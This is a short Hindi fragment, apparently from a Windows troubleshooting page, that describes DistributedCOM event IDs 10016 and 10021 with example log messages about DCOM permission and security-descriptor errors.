  • 10016 (Microsoft-Windows-DistributedCOM) - अपर्याप्त अनुमतियों के कारण DCOM निष्पादन विफल। उदाहरण:
    • मशीन-डिफ़ॉल्ट अनुमति सेटिंग्स CLSID {C2F03A33-21F5-47FA-B4BB-156362A2F239} और APPID {316CDED5-E4AE-4B15-9113-7055D84DCC97} को उपयोगकर्ता DOMAIN\Scorpiones को स्थानीय सक्रियण अनुमति प्रदान नहीं करती हैं।
  • 10021 (Microsoft-Windows-DistributedCOM) - APPID {0000000} वाले COM सर्वर एप्लिकेशन के लिए लॉन्च और सक्रियण सुरक्षा विवरणक अमान्य है।
टूल डाउनलोड करें